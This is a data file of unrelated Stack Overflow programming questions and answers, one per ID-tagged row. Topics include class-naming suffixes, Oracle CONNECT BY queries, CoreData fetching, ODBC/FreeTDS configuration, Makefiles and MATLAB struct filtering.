14828872	0	 <p>These postfixes commonly says what is the role of the object.</p> <p>For objects intended to transfer data, it is common to add the <strong>TO</strong> suffix, so we have <code>ServerTO</code>, <code>AccountTO</code>, <code>UserTO</code>, <code>CompanyTO</code>, <code>CustomerTO</code>, <code>SaleItemTO</code>, etc. <strong>TO</strong> is an acronym for <em>Transfer Object</em>. A variation of this is the <strong>DTO</strong> suffix which means <em>Data Transfer Object</em>.</p> <p>For objects intended to control the database access we have the <strong>DAO</strong> suffix for <em>Data Access Object</em>, so we have a <code>UserDAO</code>, <code>CustomerDAO</code>, <code>SalesDAO</code>, etc.</p> <p>The <strong>UI</strong> or <strong>GUI</strong> suffix is frequently used for user interface objects. These are acronyms for <em>Graphical User Interface</em> or simply <em>User Interface</em>.</p> <p>Other common uses of this are <strong>VO</strong> for <em>Value Object</em> and <strong>DO</strong> for <em>Domain Object</em>.</p> <p>I once saw <strong>BE</strong> suffix for <em>Business Entity</em>, <strong>SL</strong> for <em>Service Locator</em> and <strong>PB</strong> for <em>Page Bean</em>.</p> <p>Although this is a common practice in lot of places, I weakly recommend against it. A descriptive name is normally much better than a cryptic acronym suffix (or prefix), but if you can't find one that is not too long, use the acronym. Instead of <code>CustomerTO</code> or <code>CustomerDTO</code> you could name it just <code>Customer</code>. Instead of <code>SalesDAO</code> you could name it <code>SalesPersistence</code> or <code>SalesDatabase</code>. This eliminates the problem of trying to understand what the suffix should mean when you get a <code>VendorDSA</code> or a <code>PersonTF</code>.</p> <p>In partcular the <strong>DTO</strong>, <strong>TO</strong>, <strong>DAO</strong>, <strong>UI</strong>, <strong>GUI</strong>, <strong>VO</strong> and <strong>DO</strong> suffix are very common and widespread. Other suffixes are normally obscure.</p> <p>For your case in special, I have no idea of what is <strong>SO</strong> and <strong>RO</strong>, and I can't do anything better than just guess, which again shows that a descriptive name is better than an acronym as a suffix. My best bet is that <strong>SO</strong> is <em>Service Object</em> and <strong>RO</strong> is <em>Resource Object</em>.</p>
2452771	0	 <p>So modify the two lines to:</p> <p>movlps QWORD PTR[rdx], xmm7</p> <p>movss dword ptr [rdx+8], xmm6</p> <p>like here: <a href="http://social.msdn.microsoft.com/Forums/en-US/vcgeneral/thread/4f473acb-7b14-4bf4-bed3-e5e87e1f81e7" rel="nofollow noreferrer">http://social.msdn.microsoft.com/Forums/en-US/vcgeneral/thread/4f473acb-7b14-4bf4-bed3-e5e87e1f81e7</a></p>
39428767	0	 <p>When</p> <pre class="lang-java prettyprint-override"><code>String sql = "update StudentDatabaseS set RollNo = ?, FullName = ?, FatherName = ?, FatherCNIC = ?, DateOfBirth = ?, Class = ?, Address = ?, City = ?, Province = ? where RollNo = '"+Srollno+"'"; </code></pre> <p>the line</p> <pre class="lang-java prettyprint-override"><code>ResultSet rs = st.executeQuery(sql); </code></pre> <p>makes no sense because </p> <ol> <li>that query does not return a ResultSet, and</li> <li><code>executeQuery</code> has no way of knowing what values correspond to the parameter placeholders (<code>?</code>).</li> </ol> <p>If you omit that line then the "parameter marker not allowed" error will go away and you can carry on with your UPDATE using the PreparedStatement.</p>
36900596	0	 <p>I'm struggling with this on IIS right now and in my struggles, stumbled across an excellent guide for Apache: <a href="https://ngmilk.rocks/2015/03/09/angularjs-html5-mode-or-pretty-urls-on-apache-using-htaccess/" rel="nofollow">https://ngmilk.rocks/2015/03/09/angularjs-html5-mode-or-pretty-urls-on-apache-using-htaccess/</a></p> <p>I hope it helps. </p>
16982112	0	jQuery menu acting strangely <p>on click, the div should move up and be mostly hidden, and then on click again, move back down to original position. Yea.... it's so not doing that. I used animate to move the div +100px, and then -100px, but it is not moving up and off the screen to be hidden. Instead, it moves DOWN, and then starts (I think) working.</p> <p><a href="http://jsfiddle.net/laurelrose18/LLdjh/7/" rel="nofollow">http://jsfiddle.net/laurelrose18/LLdjh/7/</a></p> <pre><code>#panel { } .menu { -webkit-border-bottom-left-radius:38px; -webkit-border-bottom-right-radius:38ßpx; border-bottom-left-radius:38px; border-bottom-right-radius:38px; background: $bluejeans; width: 100px; height:300px; padding-bottom: 25px; } .menu li { margin-bottom: .5em; list-style-type: none; } #menubtn { width: 100px; height: auto; max-width: 100px; margin-top: -100px; } .active { padding-top: 100px; } &lt;div class="container"&gt; &lt;div class="row slidemenu"&gt; &lt;div class="span2 offset10"&gt; &lt;div id="panel"&gt; &lt;ul class="menu flexbox"&gt; &lt;li class="smIcon"&gt;sk&lt;/li&gt; &lt;li class="smIcon"&gt;pr&lt;/li&gt; &lt;li class="smIcon"&gt;tk&lt;/li&gt; &lt;li class="hitext"&gt;menu&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div id="menulogo"&gt; &lt;a class="slidebtn" href="#"&gt;&lt;img src="images/monogram.png" alt="menu button" id="menubtn"&gt;&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;script type="text/javascript" src="js/jquery-1.10.1.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(document).ready(function(){ $(".slidebtn").click(function(){ $("#panel").toggleClass("active"); $("#panel").slideToggle("slow"); return false; }); }); &lt;/script&gt; </code></pre>
33260317	0	 <p>I finally settled on using a file-based lock to ensure that the task doesn't run twice:</p> <pre><code>def get_lock(name): fd = open('/tmp/' + name, 'w') try: flock(fd, LOCK_EX | LOCK_NB) # open for exclusive locking return fd except IOError as e: logger.warn('Could not get the lock for ' + str(name)) fd.close() return None def release_lock(fd): sleep(2) # extend the time a bit longer in the hopes that it blocks the other proc flock(fd, LOCK_UN) fd.close() </code></pre> <p>It's a bit of a hack, but seems to be working...</p>
30863431	0	 <p>In oracle, you can use <code>start with connect by</code> to achieve the same result, no need to use nested query</p> <p>Preparation</p> <pre><code>CREATE TABLE EMP ( EMPNO numeric(4,0), ENAME VARCHAR(10 ), JOB VARCHAR(9 ), MGR numeric(4,0), HIREDATE DATE, SAL numeric(7,2), COMM numeric(7,2), DEPTNO numeric(2,0) ); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7369,'SMITH','CLERK',7902,sysdate,800,null,20); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7499,'ALLEN','SALESMAN',7698,sysdate,1600,300,30); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7521,'WARD','SALESMAN',7698,sysdate,1250,500,30); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7566,'JONES','MANAGER',7839,sysdate,2975,null,20); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7654,'MARTIN','SALESMAN',7698,sysdate,1250,1400,30); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7698,'BLAKE','MANAGER',7839,sysdate,2850,null,30); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7782,'CLARK','MANAGER',7839,sysdate,2450,null,10); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7788,'SCOTT','ANALYST',7566,sysdate,3000,null,20); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7839,'KING','PRESIDENT',null,sysdate,5000,null,10); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7844,'TURNER','SALESMAN',7698,sysdate,1500,0,30); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7876,'ADAMS','CLERK',7788,sysdate,1100,null,20); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7900,'JAMES','CLERK',7698,sysdate,950,null,30); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7902,'FORD','ANALYST',7566,sysdate,3000,null,20); Insert into EMP (EMPNO,ENAME,JOB,MGR,HIREDATE,SAL,COMM,DEPTNO) values (7934,'MILLER','CLERK',7782,sysdate,1300,null,10); </code></pre> <p>Query:</p> <pre><code>select empno, mgr, ename, level - 1 as T from emp start with mgr is null connect by prior empno = mgr; </code></pre> <p>Output:</p> <pre><code>| EMPNO | MGR | ENAME | T | |-------|--------|--------|---| | 7839 | (null) | KING | 0 | | 7566 | 7839 | JONES | 1 | | 7788 | 7566 | SCOTT | 2 | | 7876 | 7788 | ADAMS | 3 | | 7902 | 7566 | FORD | 2 | | 7369 | 7902 | SMITH | 3 | | 7698 | 7839 | BLAKE | 1 | | 7499 | 7698 | ALLEN | 2 | | 7521 | 7698 | WARD | 2 | | 7654 | 7698 | MARTIN | 2 | | 7844 | 7698 | TURNER | 2 | | 7900 | 7698 | JAMES | 2 | | 7782 | 7839 | CLARK | 1 | | 7934 | 7782 | MILLER | 2 | </code></pre>
34730662	0	iOS CoreData fails to fetch data <p>I am developing an application for iOS which has .xcdatamodeld file with a couple of entities, one of which is UserInfo with an attribute "name" of type <code>String</code>. Now that I am on stage of developing I don't always get entities fetched (I rarely do) and therefore I've got a question: Does that mean I have a problem or is it normal for "Test Flights"? This also happens if I open an app, which stays installed after the last test and test its ability to keep data.</p> <p>Here is how I handle data for this particular entity:</p> <pre><code>private func fetchData(){ let fetch = NSFetchRequest(entityName: entityName) var entities = [UserInfo]() do { entities = try moc.executeFetchRequest(fetch) as! [UserInfo] }catch{ delegate.currVC.showSystemMessage("Failed to execute data for \(fetch.entityName!) fetch request", ofType: .ERROR) } if entities.count &gt; 0{ print("Entities found: \(entities.count)") let last = entities.first! name = last.name } } func saveData(){ let fetch = NSFetchRequest(entityName: entityName) var entities = [UserInfo]() do { entities = try moc.executeFetchRequest(fetch) as! [UserInfo] }catch{ delegate.currVC.showSystemMessage("Failed to execute data for \(fetch.entityName!) fetch request", ofType: .ERROR) } if entities.count &gt; 0{ let last = entities[0] last.name = name do{ try moc.save() }catch{ delegate.currVC.showSystemMessage("An error occured while trying to save user data", ofType: .ERROR) } }else{ let entity = NSEntityDescription.insertNewObjectForEntityForName(entityName, inManagedObjectContext: moc) as! UserInfo entity.setValue(name, forKey: "name") do{ try moc.save() }catch{ delegate.currVC.showSystemMessage("Failed to save name to CoreData", ofType: .ERROR) } } } </code></pre> <p>Notes: <code>moc</code> is an <code>NSManagedObjectContext</code> which I keep as a constant in delegate and only initialize once. <code>showSystemMessage</code> is a custom method, which, by the way, is never triggered by this method (which means nothing's caught inside of this whole method).</p> <p>My assumptions are that this might be happening because <code>executeFetchRequest</code> is executed in a new Thread and therefore sometimes fails to fetch data before it's returned, but, yet again, I have no idea if it is so or not. Anyway, I really am looking forward to solving this issue with your help, since it is crucial for my app to have an ability to keep data. Thank you in advance!</p>
19684732	0	Program of consumer Producer <p>I need to make a consumer producer problem for homework. I am stuck repeating the the thread. Only 1 object is produced and only 1 object is consumed. If object is present in array then producer does not produce and wait till consumer consumes it. </p> <pre><code>class PC extends Thread{ static int i=1; static int storage[]=new int[1]; String info; PC(String _info) { this.info=_info; } public synchronized void consume() { if(storage[0]==-1) { try { System.out.println("C: 0" ); wait(); } catch(InterruptedException e) { System.out.println("InterruptedException caught"); } } else { System.out.println("C: " + storage[0]); storage[0]=-1; i++; notify(); } } public synchronized void prod() { if(storage[0]!=-1) { try { System.out.println("P: 0" ); wait(); } catch(InterruptedException e) { System.out.println("InterruptedException caught"); } } else { storage[0]=i; System.out.println("P: " + storage[0]); notify(); } } public void run() { if(info=="producer"){ prod(); } else consume(); } public static void main(String args[]) { storage[0]=-1; PC consumer =new PC("consumer"); PC producer =new PC("producer"); consumer.start(); producer.start(); } </code></pre> <p>}</p>
24832063	0	 <p>OK So I have fixed whatever issue was causing it to crash, below is what I changed:</p> <p>Step One: Created entirely new project and completed developer console, published just a simple button to login. It works. I now know that my Unity3d, Android APK and Developer Console procedures are all correct.</p> <p>Step Two: Go to project I am trying to get working and create a new scene, again only adding a login button. It works. So I now now that my Project is fine, something to do with the code.</p> <p>Step Three: I commented out all code and objects and slowly added back one by one.. this was painful. But I located the source of the problem, the issue was that a new player when trying to load from the cloud had no data stored and thus the data array returned was uninitialized, I was accounting for this by doing an if(data.length > 0) however this causes a crash anyways, so a simple try and catch and just use the data returned as if assuming its correct works great.</p>
13457679	0	Mailto link with display name in non-Latin characters doesn't work correctly in Chrome browser <p>I have the following problem in Chrome browser: When I have a mailto link with display name in non-Latin characters and email address the right button->copy email address->paste anywhere doesn’t work correctly. The display name is broken /with escape characters/. </p> <p>For example: </p> <p><code>&lt;a href="mailto:нова категория &lt;7580397996@gmail.com&gt;?Subject=[Enter your subject title here]&amp;body=[Enter your content email here]"&gt;нова категория&lt;/a&gt;</code></p> <p>If you try this in Chrome Copy Email Address doesn’t work correctly. Does anyone know how can I fix this problem or this problem is bug in Chrome? </p> <p>Please help and thanks in advance.</p>
35367363	0	 <p>Ok, so I solved it (pretty much). The password and username in my odbc files were being ignored. Because I was calling the DB queries from Asterisk, I was using a file called res_odbc.ini too. This contained my username and password also, and when I run the query from Asterisk, it conencts and returns the correct result.</p> <p>In case it helps, here is my final working configuration.</p> <p>odbc.ini</p> <pre><code>[asterisk-connector] Description = MS SQL connection to asterisk database driver = /usr/lib64/libtdsodbc.so servername = SQL2 Port = 1433 User = MyUsername Password = MyPassword </code></pre> <p>odbcinst.ini</p> <pre><code>[FreeTDS] Description = TDS connection Driver = /usr/lib64/libtdsodbc.so UsageCount = 1 [ODBC] trace = Yes TraceFile = /tmp/sql.log ForceTrace = Yes </code></pre> <p>freetds.conf</p> <pre><code># $Id: freetds.conf,v 1.12 2007/12/25 06:02:36 jklowden Exp $ # # This file is installed by FreeTDS if no file by the same # name is found in the installation directory. # # For information about the layout of this file and its settings, # see the freetds.conf manpage "man freetds.conf". # Global settings are overridden by those in a database # server specific section [global] # TDS protocol version ; tds version = 4.2 # Whether to write a TDSDUMP file for diagnostic purposes # (setting this to /tmp is insecure on a multi-user system) dump file = /tmp/freetds.log ; debug flags = 0xffff # Command and connection timeouts ; timeout = 10 ; connect timeout = 10 # If you get out-of-memory errors, it may mean that your client # is trying to allocate a huge buffer for a TEXT field. # Try setting 'text size' to a more reasonable limit text size = 64512 # A typical Sybase server [egServer50] host = symachine.domain.com port = 5000 tds version = 5.0 # A typical Microsoft server [SQL2] host = 192.168.1.59 port = 1433 tds version = 8.0 </code></pre> <p>res_odbc.conf</p> <pre><code>[asterisk-connector] enabled = yes dsn = asterisk-connector username = MyUsername password = MyPassword pooling = no limit = 1 pre-connect = yes </code></pre> <p>Remember if you are using Centos 64 bit to modify the driver path to lib64. Most of the guides online have the wrong (for 64 bit) paths.</p> <p>Good luck - it's a headache :)</p>
6153297	0	Opening another window in an Appcelerator Titanium-app doesn't work <p>I've got basically 5 windows in my iPad-application (created with Appcelerator Titanium) and want to be able to navigate forth and back (a back and and a next-button for that purpose). The following approach doesn't work. Nothing happens upon clicking the button.</p> <p>The first window is opened in my app.js like this:</p> <pre><code>var window = Titanium.UI.createWindow({ url:'mainwindows.js', modal: true }); window.open(); </code></pre> <p>then in mainwindows.js I've got a button called 'next' which does this:</p> <pre><code>buttonNext.addEventListener('click', function(e){ var newWindow = Titanium.UI.createWindow({ url: "step_1.js", title: "Step 1" }); win.open(newWindow, { animated:true}) }); </code></pre>
7009813	0	 <p>Try by using the <a href="http://silverlight.codeplex.com/" rel="nofollow">Silverlight toolkit for Windows Phone 7</a>. If you need to capture the Tap event on the page, you've to use the services of the GestureListner class. </p> <pre><code>&lt;phone:PhoneApplicationPage xmlns:toolkit="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone.Controls.Toolkit" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:phone="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone" xmlns:shell="clr-namespace:Microsoft.Phone.Shell;assembly=Microsoft.Phone" xmlns:d="http://schemas.microsoft.com/expression/blend/2008" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" x:Name="phoneApplicationPage" x:Class="XXXXX" &gt; &lt;toolkit:GestureService.GestureListener&gt; &lt;toolkit:GestureListener Tap="Page_Tap" /&gt; &lt;/toolkit:GestureService.GestureListener&gt; . . . </code></pre>
39862765	0	How do I get the device given a UUID from libblkid? <p>I know how to get the UUID of a device via libblkid... how do I do the reverse?</p> <p>Given a UUID, I want to find what the device path is.</p>
15908210	0	 <p>This is probably because your background image doesn't get repeated (as do the corner images) therefore, it will get covered up by one of the corner pictures. Try to set the first background-image to repeat:</p> <pre><code>background-repeat: repeat, no-repeat, no-repeat, no-repeat, no-repeat; </code></pre>
17371953	0	 <p>I think so yes</p> <pre><code>1.9.3-p392 :002 &gt; DateTime.new =&gt; Mon, 01 Jan -4712 00:00:00 +0000 1.9.3-p392 :003 &gt; _.cwday =&gt; 1 </code></pre>
26794670	0	 <p>You must call reader.mark() <em>before</em> the first while loop; reader.mark() essentially saves the current position of the reader so that you can go back to that position when you call reader.reset().</p> <p>You will also not want to pass in 0 to reader.mark(). See the java spec for the parameter below:</p> <p>readAheadLimit - Limit on the number of characters that may be read while still preserving the mark. An attempt to reset the stream after reading characters up to this limit or beyond may fail. A limit value larger than the size of the input buffer will cause a new buffer to be allocated whose size is no smaller than limit. Therefore large values should be used with care.</p> <p>(In other words, passing in 0 will be useless. You need to pass in a number larger than the number of characters read in between mark() and reset()).</p>
11446667	0	 <p>Instead of .subproject_thingie1 and .subproject_thingie2 everywhere I usually go for adding a root class or id to differentiate between projects/pages.</p> <p>That way you can have global styling maintained on all pages on the same class names while being able to add specific rules for specific pages.</p> <p>But as always, the best solution depends on how well the existing project is written.</p>
20202989	0	 The scientific study of the principles of heredity and the variation of inherited traits among related organisms.
14334909	0	Sprite not showing renderToTexture Map / rendertarget map <p>I am working with three.js and I set up a second scene and camera and added a cylinder to it. Now I setup a rendertarget and I wanted to show this renderedScene on a sprite (HUD-Sprite so to say), but the sprite is not showing up. I added a plane into the original scene and it shows the rendertarget perfectly fine.</p> <p>What I already checked:</p> <p>1) When using the rtTexture as a map for a MeshLambertMaterial, it works perfectly fine</p> <p>2) When loading an image for the sprite with <em>ImageUtils</em> and using this as a map for the SpriteMaterial, it works great and the spline is showing up where it should be!</p> <p>I have the feeling that I overlooked something. Would be cool if someone can help me.</p> <p>OK, guys, i created a jsFiddle, maybe this helps!</p> <p><a href="http://jsfiddle.net/Pk85y/38/" rel="nofollow">My Fiddle for RenderTarget Sprite Problem</a></p> <p>as you can see there, the rendertarget is correctly display on the plane and there is a sprite with screenspace coordinates in there but it does not show the renderTarget.</p> <pre><code>rttMaterial = new THREE.SpriteMaterial( { color: 0xFF0000, map: rtTexture, alignment: THREE.SpriteAlignment.topLeft, useScreenCoordinates: true} ); </code></pre> <p>Thank you in Advance</p>
38689468	0	 <p>change the trigger element to button.</p> <pre><code> triggerEl: 'button' </code></pre>
5544452	0	 <p>It's been deprecated for a while now. You're better off writing your own function, or taking some hints from the docs and comments on <a href="http://php.net/manual/en/function.mime-content-type.php" rel="nofollow">php.net</a></p>
16439440	0	 <ul> <li>save those 8 positions in 8 CGRects.</li> <li>then generate a random number between 1 and 8 using <code>int r = arc4random() % 8</code>;.</li> <li>using <code>switch</code> statement set the <code>CGRect</code> of the button depending on r.</li> </ul>
24714797	0	Textwatcher in custom listview with SQLite database <p>I want to add a filter in custom listview which is getting values from sqlite database. Is it possible to filter according to two value of textview? Please help me to add a filter query . If you have any text watcher example then please tell me.</p> <p>I have added a listview adapter in MainActivity.java</p> <pre><code> lv = (ListView) findViewById(R.id.listView1); mydb = new DBHelper(this); Log.d("tag", mydb.listfromdb().toString()); lv.setAdapter(new ViewAdapter(mydb.listfromdb())); </code></pre> <p>and </p> <pre><code>public View getView(int position, View convertView, ViewGroup parent) { // TODO Auto-generated method stub if (convertView == null) { LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE); convertView = mInflater.inflate(R.layout.list_item, null); } Listcollection o = collectionlist.get(position); if (o != null) { TextView idText = (TextView) convertView .findViewById(R.id.lvid); TextView nameText = (TextView) convertView .findViewById(R.id.lvname); TextView dateText = (TextView) convertView .findViewById(R.id.lvdate); TextView phoneText = (TextView) convertView .findViewById(R.id.lvjno); if (idText != null) { idText.setText(Integer.toString(o.getId())); } if (nameText != null) { nameText.setText("Name : " + collectionlist.get(position).getName()); } if (dateText != null) { dateText.setText("Date of Complain : " + collectionlist.get(position).getCdate()); } if (phoneText != null) { phoneText.setText("Job No.: " + collectionlist.get(position).getType()); } } return convertView; } </code></pre> <p>Here I am getting values from DBHelper.java</p> <pre><code>public ArrayList&lt;Listcollection&gt; listfromdb() { SQLiteDatabase db = this.getReadableDatabase(); ArrayList&lt;Listcollection&gt; results = new ArrayList&lt;Listcollection&gt;(); Cursor crs = db.rawQuery("select * from contacts", null); while (crs.moveToNext()) { Listcollection item = new Listcollection(); item.setId(crs.getInt(crs.getColumnIndex(CONTACTS_COLUMN_ID))); item.setName(crs.getString(crs.getColumnIndex(C_NAME))); item.setCdate(crs.getString(crs.getColumnIndex(C_CDATE))); item.setType(crs.getString(crs.getColumnIndex(C_TYPE))); results.add(item); } db.close(); return results; } </code></pre> <p>I have also included DBHelper.java after removing some methods.</p> <pre><code>public class DBHelper extends SQLiteOpenHelper { public static final String DATABASE_NAME = "MyDBName.db"; public static final String CONTACTS_TABLE_NAME = "contacts"; public static final String CONTACTS_COLUMN_ID = "id"; public static final String C_NAME = "name"; public static final String C_TYPE = "type"; public static final String C_ADDRESS = "address"; public static final String C_DATE = "sdate"; public static final String C_PHONE = "phone"; public static final String C_PNAME = "pname"; public static final String C_MNO = "mno"; public static final String C_CDATE = "cdate"; public static final String C_DNAME = "dname"; public static final String C_DPHONE = "dphone"; public static final String C_TSCHARGE = "tscharge"; public static final String C_DAMOUNT = "damount"; public static final String C_FANDSOL = "fandsol"; public static final String C_TRNO = "trno"; public static final String C_TCRAMOUNT = "tcramount"; private HashMap hp; public DBHelper(Context context) { super(context, DATABASE_NAME, null, 1); } public ArrayList&lt;Listcollection&gt; listfromdb() { SQLiteDatabase db = this.getReadableDatabase(); ArrayList&lt;Listcollection&gt; results = new ArrayList&lt;Listcollection&gt;(); Cursor crs = db.rawQuery("select * from contacts", null); while (crs.moveToNext()) { Listcollection item = new Listcollection(); item.setId(crs.getInt(crs.getColumnIndex(CONTACTS_COLUMN_ID))); item.setName(crs.getString(crs.getColumnIndex(C_NAME))); item.setCdate(crs.getString(crs.getColumnIndex(C_CDATE))); item.setType(crs.getString(crs.getColumnIndex(C_TYPE))); results.add(item); } db.close(); return results; } } </code></pre>
13240785	0	 <p>I suspect that:</p> <ol> <li>in irb, when you <code>require 'cowboy'</code>, that tells rubygems to set up the load paths automatically to point to the currently installed gem dir.</li> <li>when you run <code>test/test_cowboy.rb</code> it doesn't <code>require 'cowboy'</code>. This makes sense because during development, you don't want to load the installed version of the gem, which could be different from the code in your working dir.</li> </ol> <p>I think you should create a <code>test/test_helper.rb</code> file that sets up the load path:</p> <pre><code>$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) </code></pre> <p>You may need to add other dirs if the compiled shared object file (<code>.so</code> or <code>.bundle</code>) isn't placed in <code>lib</code>.</p> <p>Then in each test file (e.g. <code>test/test_cowboy.rb</code>), require <code>test/test_helper.rb</code>:</p> <pre><code>require File.expand_path('../test_helper.rb', __FILE__) </code></pre> <p>You'll need to adjust that relative path if you have subdirs. E.g. if you have a file <code>test/shoes/spur.rb</code>, you'd use:</p> <pre><code>require File.expand_path('../../test_helper.rb', __FILE__) </code></pre>
1229096	0	 <p>You should download leopard, not snow leopard. Snow won't be out until around september, so you have leopard.</p>
10430694	0	 <pre><code>function changeImage(me){ alert(me.id) } </code></pre>
21615296	0	 <p>When you inflate the layout for your fragment, you should ensure that the visibility is set to GONE. The default for a view (and thus your fragment) is VISIBLE.</p> <p>Also, you should use the constants View.VISIBLE and View.GONE instead of 0, 8.</p>
36010623	0	 <p>Use AuthOozieClient and set system user.</p> <pre><code>OozieClient oc = new AuthOozieClient(OOZIE_URL); System.setProperty("user.name", userName); client.kill(jobId); </code></pre>
32056796	0	 <p>First add <a href="https://raw.githubusercontent.com/rubygems/rubygems/master/lib/rubygems/ssl_certs/AddTrustExternalCARoot-2048.pem" rel="nofollow">this</a> certificate via script in this folder: {rubyfolder}\lib\ruby\2.1.0\rubygems\ssl_certs</p>
307889	0	 <p>Of course you can write a makefile by hand. A quick googling shows LOTS of tutorials. <a href="http://mrbook.org/tutorials/make/" rel="nofollow noreferrer">This one</a> looks promising.</p> <p>For the cliffs notes version, the example boils down this:</p> <pre><code>CC=g++ CFLAGS=-c -Wall LDFLAGS= SOURCES=main.cpp hello.cpp OBJECTS=$(SOURCES:.cpp=.o) EXECUTABLE=hello all: $(SOURCES) $(EXECUTABLE) $(EXECUTABLE): $(OBJECTS) $(CC) $(LDFLAGS) $(OBJECTS) -o $@ .cpp.o: $(CC) $(CFLAGS) $&lt; -o $@ </code></pre>
33587341	0	Problems rendering output in nodejs from a neo4j server <p>I'm pretty sure this is really simple but I thought I should ask on here. I'm creating a function in nodejs that looks for a user in a neo4j server then renders that or outputs that onto the webpage.I am able to query the neo4j sever and output that to the console fine but I do not know how to output that info to the webpage. /** * GET / * Neo4j Graph page. */</p> <pre><code>exports.getGraph = function(req, res) { res.render('graph', { title: 'Graph', user: User }); }; /** * GET / * Get user from neo4j */ var neo4j = require('neo4j'); var db = new neo4j.GraphDatabase('http://neo4j:password@localhost:7474'); exports.getNeoUser = function (req, res){ db.cypher({ query: 'MATCH (user:User {email: {email}}) RETURN user', params: { email: 'alice@example.com', }, }, callback); function callback(err, results) { if (err) throw err; var result = results[0]; if (!result) { console.log('No user found'); } else { var user = result['user']; console.log(user); } } function output(req, res) { res.render('graph', { title: 'Graph', user: User }); }; }; </code></pre> <p>If I leave it like this nothing is rendered although the app won't crash. It starts loading the page but never actually finishes. I think it might be some sort of race condition. I have tried placing this res.render inside the callback function but that results in a method undefined error.</p>
13030685	0	 <p>XML is one choice among many for serialization. You can do Java Serializable, XML, JSON, protobuf, or anything else that you'd like. I see no pitfalls.</p> <p>One advantage of XML is you can use JAXB to marshal and unmarshal objects. </p>
35364007	0	getLine doesn't stop <p>My program goes something like</p> <pre><code>main :: IO String main = do putStrLn "input a" a &lt;- getChar putStrLn "input b" b &lt;- getLine putStrLn "input c" c &lt;- getChar return a:c:b </code></pre> <p>Behaviour: I get "input a" printed, and the program waits for me to type a Char and press return. From there, it scrolls past <strong>getLine</strong> without ever letting me input something. How can I make it do what I intend it to?</p> <p>P.S.: There are probably more problems with this code, but let's focus on my present question.</p>
26956900	0	 <p>You could simply use grep instead of <code>sed</code> . The reason why i choose <code>grep</code> means, grep is a tool which prints each match in a separate line.</p> <pre><code>grep -oP 'tel:\K.*?(?=;)' file.txt </code></pre> <p><strong>Regular Expression:</strong></p> <pre><code>tel: 'tel:' \K '\K' (resets the starting point of the reported match) .*? matches any character except \n (0 or more times) non-greedily (?= look ahead to see if there is: ; ';' ) end of look-ahead </code></pre> <p><strong>Update:</strong></p> <pre><code>$ cat file tel:02134343, 3646848393; tel:02134343; tel:02134344; $ grep -oP '(?:tel:|(?&lt;!^)\G)\K\d*(?=[^;\n]*;)' file 02134343 3646848393 02134343 02134344 </code></pre>
12757945	0	 <p>there's no inbuild function in javascript to get full name of month. You can create an array of month names and use it to get full month name for e.g</p> <pre><code>var m_names = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; d = new Date(); var n = m_names[d.getMonth()]; </code></pre>
17532620	0	 <p>The method Add on ColumnMappings collection allows you to map your columns from source table to destination table. The method ColumnMappings.Add accepts four different ways to map your columns.</p> <p>SQLBulkCopy is very much strict on data type of both the columns which you have to consider while adding it to ColumnMappings collection</p>
2812285	0	 <p>ok, this is a little hard to explain ... first of all, here is how it works:</p> <pre><code>var test_inst:Number = 2.953; trace(test_inst); trace((test_inst as Object).constructor); </code></pre> <p>to my understanding, this comes from the fact, that the property <code>constructor</code> comes from the ECMAScript-nature of ActionScript 3. It is an ECMAScript property of <code>Object</code> instances and is inherited through <a href="http://en.wikipedia.org/wiki/Prototype-based_programming" rel="nofollow noreferrer">prototypes</a>. From the strictly typed world of ActionScript 3 (which also uses a different inheritance mechanism), this property is thus not available.</p> <p>greetz<br> back2dos</p>
11250654	0	 <p>You can solve this problem with the mod(...) function and proper use of brackets and referencing. Consider</p> <ol> <li><code>Mod(x,3)</code> will return zero if your number is a multiple of 3. <code>mod(x,2)</code> will return 1 if x is odd.</li> <li>You can get all your <code>a1</code> or <code>a2</code> values in a vector by typing <code>[a.a1]</code>. Just typing a.a1 gives a mess.</li> <li>You can filter our from your <code>a</code> structure by writing <code>a = a([1 3]);</code> or by writing <code>a = a(logical([1 0 1]))</code> to get the same result.</li> <li>You can use the <code>&amp;</code> for <em>logical and</em> and <code>|</code> for logical or (<a href="http://www.mathworks.com/help/techdoc/ref/logicaloperatorselementwise.html" rel="nofollow">see here</a>).</li> </ol> <p>Altogether, the following code solves your problem:</p> <pre><code>%% Part 1: a= struct('a1',{1,2,3},'a2',{4,5,6}); logForA1isMod3 = (mod([a.a1], 3) == 0); logForA2isMod3 = (mod([a.a2], 3) == 0); a = a(logForA1isMod3 &amp; logForA2isMod3); %% Part 2: a= struct('a1',{1,2,3},'a2',{4,5,6}); logForA1isOdd = (mod([a.a1], 2) == 1); a = a(logForA1isOdd | logForA2isMod3); </code></pre>
